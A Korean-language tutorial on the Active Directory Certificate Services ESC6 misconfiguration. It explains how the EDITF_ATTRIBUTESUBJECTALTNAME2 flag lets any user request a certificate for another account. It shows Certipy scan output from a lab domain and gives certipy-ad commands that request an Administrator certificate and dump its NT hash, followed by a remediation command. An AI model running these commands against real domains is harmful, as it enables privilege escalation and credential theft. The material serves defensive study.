SAN(Subject Alt Name)은 X.509 인증서의 확장 필드로, 하나의 SSL/TLS 인증서에
여러개의 도메인 이름, IP 주소 등을 추가로 지정할 수 있도록 하는 필드입니다.
쉽게 말하여 하나의 인증서에 여러개의 도메인 등을 등록하여, 여러 인증서를 발급하는 것 대신
하나의 인증서를 통해 여러 도메인을 신뢰할 수 있으며,
이를 통해 관리적 차원과 보안 측면에서 이점을 얻을 수 있습니다.
AD CS 인증서 요청을 위한 템플릿에 SAN이 포함되어 있는 경우, 공격자는 이를 악용하여
SAN 필드에 도메인 컨트롤러 관리자 등의 정보를 삽입하여 권한 상승을 시도할 수 있습니다.
하지만 기본적으로 AD CS에서 템플릿에는 SAN 필드 확장이 없습니다.
EDITF_ATTRIBUTESUBJECTALTNAME2 플래그가 허용된 경우 요청자는 인증 기관에
인증서를 요청하는 동안 이름/값 조합을 통해 인증 기관에 추가 속성을 전달할 수 있습니다.
중요한 것은 SAN 필드 확장이 없는 상태에서, AD CS에 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그가
설정되었고, SAN을 CSR(Certificate Signing Request)에서 지정하도록 허용하는 템플릿이 있을 경우
클라이언트는 누구나 다른 객체의 인증서를 발급할 수 있습니다.
CSR에서 SAN을 허용하는 템플릿은 AD CS 내장 템플릿인 User가 있습니다.
Certipy-ad를 통해서 취약한 인증서를 확인할 때, SAN 필드 확장이 되어있지 않더라도,
해당 플래그가 설정되어 있다면 User Specified SAN으로 표시됩니다.
Certificate Authorities
0
CA Name : lab-LAB-DC-CA
DNS Name : LAB-DC.lab.local
Certificate Subject : CN=lab-LAB-DC-CA, DC=lab, DC=local
Certificate Serial Number : 16BD1CE8853DB8B5488A16757CA7C101
Certificate Validity Start : 2022-03-26 00:07:46+00:00
Certificate Validity End : 2027-03-26 00:17:46+00:00
Web Enrollment : Enabled
User Specified SAN : Enabled
Request Disposition : Issue
Enforce Encryption for Requests : Disabled
Permissions
Owner : LAB.LOCAL\Administrators
Access Rights
Enroll : LAB.LOCAL\Authenticated Users
LAB.LOCAL\Black Wasp
LAB.LOCAL\James
LAB.LOCAL\user_manageCA
LAB.LOCAL\Juanmy
LAB.LOCAL\Josy
ManageCa : LAB.LOCAL\Black Wasp
LAB.LOCAL\James
LAB.LOCAL\user_manageCA
LAB.LOCAL\Juanmy
LAB.LOCAL\Domain Admins
LAB.LOCAL\Enterprise Admins
LAB.LOCAL\Administrators
ManageCertificates : LAB.LOCAL\Josy
LAB.LOCAL\Domain Admins
LAB.LOCAL\Enterprise Admins
LAB.LOCAL\Administrators
[!] Vulnerabilities
ESC6 : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022
Practice
# User 템플릿을 사용하여 DC 관리자 인증서 발급 요청
certipy-ad req -u <USER> -p <PASS> -ca <CA> -template User -dc-ip <dc-ip> -upn Administrator@<Domain>
# 발급한 DC 관리자 인증서를 통한 NT Hash 덤핑
certipy-ad auth -pfx <PFX File> -domain <Domain>
대응 방법
# 윈도우 명령 프롬포트를 통해 취약한 플래그 해제
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
# 인증서비스 재시작
net stop certsvc & net start certsvc